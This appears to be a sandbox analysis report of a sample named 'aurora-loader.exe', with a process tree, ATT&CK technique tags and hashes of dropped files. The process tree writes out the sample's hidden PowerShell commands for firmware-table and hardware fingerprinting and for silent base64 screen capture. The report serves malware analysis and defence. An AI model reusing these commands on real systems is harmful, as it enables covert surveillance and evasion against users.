C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1992

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5940

C:\Users\Admin\Downloads\aurora_c295fa5a\aurora-loader.exe
"C:\Users\Admin\Downloads\aurora_c295fa5a\aurora-loader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:232
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ctd5ojil\ctd5ojil.cmdline"
      4⤵
      PID:1828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6012
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Manufacturer /format:list
    3⤵
    PID:3916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Product /format:list
    3⤵
    PID:2260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
  2⤵
  PID:6008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 90371bf7f2d9f3b60c0aa66ed89740cd725604cc541112971bd392e8746018f0
MD5 a9d241f865f7d582346ece871b98ee14
SHA1 c59a959f2a8673df7c09862b8f91a9e9492ec3cf
SHA512 4822e1484423dfa2530e9a541260d4dcddb675339b2e5fb22cf50c15d65cd0b147c7d94ff11a6d6523e90406c9ad88e5919ccc3fc5ec3b74cbfa28567977506e
TLSH
T1F3D01266374AB001E76D8230E4C2C311266654E038864A01B214C81D99A41D86293186
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b24846f4bb01e57dd47994ee8ca33e14a6a356938971c33205ed76a4fe3c7b61
MD5 2415c177850265ec333bf407bedd2c4b
SHA1 2ccfbe660996437603bf4e0b70309310c3095994
SHA512 1a616d299248ea7424c92347e2568121b74d992540a7c2809c47f5e8113710d7965935a30c55d53ceef337cee1ae1bdbacfc42ed7e68109e206d0f729f22be4f
TLSH
T1E4D012663B4AB001E7698230E4C2C311267650E038864A01B254C81D99E41D86693186
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG
Size 331B
SHA256 4fdcb0e74746450225473d98cc99b4a99ccafe99767622606d95e80952ec51c5
MD5 c332bc7244df89abb8f0157562e72f27
SHA1 49d1f02f5dc08843438cd522a1c1f8155791ba87
SHA512 9a46ad0c202c067786deac8aeedc196c693265515a921ad824f328ecaca5388d81aec241ff538c98069afb8bf65b923ead2ba0ee9ef3eae0baa5ca69d99d55a0
TLSH
T141E07DC508CAC31E934164CB8368530CD2C8360ED6C87E8A1F08CE8C3081099E2CF7D0
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 a758f3bc53a2386be2fd3e3f4277f7d9de082bc49e6183327551616442527860
MD5 82ee7d54c7f2c69731f708d4db15fd6e
SHA1 b38654990a91948199b210bb7789f64cd7ffbde0
SHA512 5390a05516c81ea6bfabfa5c38400bddb64a5d0971e8ef9de7779fe9b923ca989e29012c93c9eb56c7ad3f0418660fd936c19a3ba2c9ee95b818353bff11053b
TLSH
T1D1F02DB5D921DC2B09FD0B1D74945B06E75523272B80485F3B3D420D8FB463B459991C
MD5 SHA1 SHA512 TLSH

Submit Download

f_00008f

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00008f
Size 19KB
SHA256 4b08cca487c83145df1fa99a9786a4f8d5c853f4ab867ac2d8fc0adcccbfe6a5
MD5 dd280d8f31b71b12878107b5f54cd427
SHA1 a17baf11f06bf51af2e61501f0567fbaf441c178
SHA512 98372cd54ea6af90e9736f58dcb4e050b1247cb420da348ba16c0d9896a9faeba307c6bd6e92c65a9593f4abae028d0b40cca75d4aeda4ff542395f2c1a2aa2f
SSDEEP 384:cbIPHm0xethE+1+5yz+nnN7M3bYYapdrB2IU4hc0g/s5HLUN:cbIetTOsbvaldrc0UJN
TLSH
T17B92D0E0C7519F82AFBC413A9D7558A4211CF224BB8AC4F4F1FD6ABE395D4404AB0C62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000091

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000091
Size 59KB
SHA256 cb055ff00c21b834e75e97241e176a3cb8ccb44d4d5f9f45fa2f3c2670fd7e0e
MD5 838c4a8011540c755f865f7ce78de8d5
SHA1 3bda8f1ec8cb3ceb449ed25b129f343b9ed40616
SHA512 847094a1379db76e435753dbf20e35cab660146911636f378e08e1ca0f4cc409ec7cfd7be68374b4837b04a601fe6178314390fcd9c7f8f1b8fd22e8eeea4454
SSDEEP 1536:L7O1AKw1pR0sq0aFvd5SaxMBqJHuhLbP16v:LCHw1DSN9xMj956v
TLSH
T12D5302D1D90775BC56CEA23C3B942CAEF4EE2EF9683584B609F2C791077452051EA02F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000094

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000094
Size 72KB
SHA256 a03e7a5141f0dec01a88397185d728eb72aaccb08c087fd4876a52745f84fde1
MD5 108b9d3a1c1440dd2ae39328dc3d2434
SHA1 f0f36ee8fefd5366dc20222e1422cbac7e60d0cd
SHA512 427d86b670b70307d92c7a448e44e5661df674b2b049058a0ef6657f5e8dd33e36123b136a3ca9c6aec5dda1135274294b333c29fb7ba45cd0b3042a7fcbbbad
SSDEEP 1536:+tguPf84Jt5t3aa1D4JNNabJIVfAWQLLbs9nkjGWX3ISFgBE8:ruc8t5JOJ+qVfALLHUnsN3I3
TLSH
T1A77302F350D011610EFE54F5A597D59828B4245E40C4BBE3A191747D8F3A2EB3BE788A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000df

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000df
Size 374KB
SHA256 aa5482a1cb0e0e9fc7a09d90ce82d48765958ef2de12bb567c9a9dda0e70fe08
MD5 573e467d73dbee9c030ab6dd911a4ba9
SHA1 a7b2b2064ed4736ef28f3cb83c8d465343516927
SHA512 bc46278aae28a4c5952e9db988efae23e53d6e1eb3edf8bb92535ac93aabbe5cd97ed43b301722c61a0d692fa1f99d356822ade6f0b769d47be741ecff5516fe
SSDEEP 6144:2FMjqfaRkLaFLdTF5AHl+qC6naJJwUISq/1uwj+mN+MBtpc3WhHfVl:JjjCOFLdTF5I+qbaLV+yA+AtqWZb
TLSH
T1C98423A376B1F0AFDEC8697F03C63363A598B531B7D019C61D48B2A6122735C9FB4264
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 2c7517ab7da033c98dc1f1705ba4eac5b9cea48dac2d789b3dfd9a2bcd957c1d
MD5 c73820e02e5b4edb43cc3f49c398c456
SHA1 ea1cf05f61b860e3607a89d5ec5aa1c4393cfbf1
SHA512 6c19d6b25b758a8fadb2f387c7c567bcf9c67aa6edcc1d3092d0b2288d108c89002c4296717b05d1c8414a7077a55c882ec37d72652e2d0d8c68de7c01fb2239
SSDEEP 192:nowQl+RPPQc8bblbDuDFO9iVEkKNs/pav6YR8/U93opBSzQ:ow4+xQ5bblbJ6E3gpav/R8893o6c
TLSH
T1BAF18581A0D2F854FB94B434B1C2DD463A3140A889C36FBB87F45A39EE173AD574BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 c28f9e3e6fa0fef6c9dcbfc644de20f9a7c0418e8a0920619a7071a4c319bc98
MD5 7ec5754d2419013b6ac87c63bfa7bb38
SHA1 57af671cddb57477b49ecc0ad51c406d6e70ee41
SHA512 604714fe87298707606bf17fd717e0dfbcd9c256721fa6f503a531c325a81acdfee45fce34de5c403c8489251b9fe2376a00bd278e838d2f586fed24b491229d
TLSH
T10F71B386F2A27480F3603571B0D29E4A357200458AC7DED6D4F04BB2EE2AB2D879FC0C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe593adc.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe593adc.TMP
Size 3KB
SHA256 b7c391e478cceb612c6bd023124719359d5c139a1842ddc5baf8269d5e0626a0
MD5 0a70c18ba35188fddc94d5e042feb2e7
SHA1 c68eb7bb20dd4599fb0005d5cf4d41f7f33a824e
SHA512 30cd38996abdd66bfd105d3df1b47c28b0898b3b7562038193bb7ec7e83871a304385202026076b390639037160ec871403b01d0e858400d4476b396921e27c9
TLSH
T19A6191D6F2223840F3203171B0C28E5A397251454AC79ED6D4F04B76EE2AB2D8B5FC0C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_ntp.msn.com_0.indexeddb.leveldb\000003.log
Size 28KB
SHA256 57bef885e2e41df367fff7e57e514f3b65d3bd7b663c79a65168c76caa17b30e
MD5 353d181c918403dafda199c2d99da459
SHA1 fc6a2985b1f99d5b3f5b4a16de8621af1e6a14d2
SHA512 c5385c84a483bc28466cbc9a11e657b5c7969bc73e2a0ca39f071ed4ee12f082aceaab121076de04e6c1574fb19e2df13bb338639918bfd7c90b175722fd9732
SSDEEP 768:JuC2jAP0yayao4izGy2bBJp+pMViUHgLSrO:2AayQ3gLSrO
TLSH
T13ED27862B5F9020AF2779EBBE8B657614C7BBE562D04C81E5960624D4C32F40CD73B2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_ntp.msn.com_0.indexeddb.leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_ntp.msn.com_0.indexeddb.leveldb\LOG
Size 345B
SHA256 a62f2ca2fe895455459a728be80e5760b802120b7f53f24ce56e318ca108ab13
MD5 07d81292c437583fa84fae6d8afa2524
SHA1 cdff2e35f8f44877b5e1b10f4bd48a780c989df6
SHA512 80c8d12fc5a3d68ac18e6225ddac24606b976ba3ad22158420837125669b456b5d306cb0c771ea0d5418ca900005a06f3413c62219ce6f57e03874fd7b0e48ae
TLSH
T132E068B888C9C11F621410D28621FF0BC1A7220E97C8AD814F1DD8187042184B86D140
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_ntp.msn.com_0.indexeddb.leveldb\MANIFEST-000001
Size 23B
SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
MD5 3fd11ff447c1ee23538dc4d9724427a3
SHA1 1335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA512 10a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 10KB
SHA256 52b8e67e891594550360f46fb911e853f3886493e4f0623bbae53d5dcc5f60dd
MD5 a09172c5109b3dd2bab212e6e7c8124b
SHA1 f66bc40c1682200d06074c48b9f685d738689339
SHA512 9e1978a53fcdfd945234cae1630a08ed6e84f4cfe89b5aea242e272967028bfef6c78b6929409cbb83e0e423f9b7647a84f3592b8c7a68c0a1cf7ead807a3552
SSDEEP 192:D1UYtipa3UjuxuC5iuYEaij6d1zbBkDAiz759gtSGcYpLyGYgZVl5X9t:D1UYtipa3UjuxuC5iuYEaiGd1zbBkDAr
TLSH
T1C22280F3C3D5862DC91166F0AF287E1BCE29096453683D56C9D4EF8BA3F2471E14164E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 83ca355eda084bf7dde7cf5b40241e8f62acf71b1ee3b1e2011e4f8f4c1fd833
MD5 04d72faae0a6b85d8dce302e62d6c2f8
SHA1 222682c85b363eb90931756f9ad79da5a412264e
SHA512 75d951ac0ece5b3599bec80e529c81836316beacfb51e757580d99ceb3a01c0d82673f0cce6d994dac8c7b58cab403de2356ca9fabd4f930fc307766ab8fef03
TLSH
T1C2819CF7C3E8866D8A1196F0BA28AE1BDE1D0A14532C3E5AC4D4EF5BE3F2471E14154E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 20KB
SHA256 ff75406ae9ee5700e55746b76d7ea54d9315d4095f77c9c130b2c89db058d7f5
MD5 318d622492a2ddeb0e234b4ddad6dc91
SHA1 31a5bea6da96d4e2abb9bd27ef50428762a5bc2c
SHA512 669d1a2dcaf358c3862d57c6d74ce79c0bcf52b48609f23db4d1b35f9d44e43979f30d45b26bb9802a34428915b537421837355550c6fc78140da6b3df3a560b
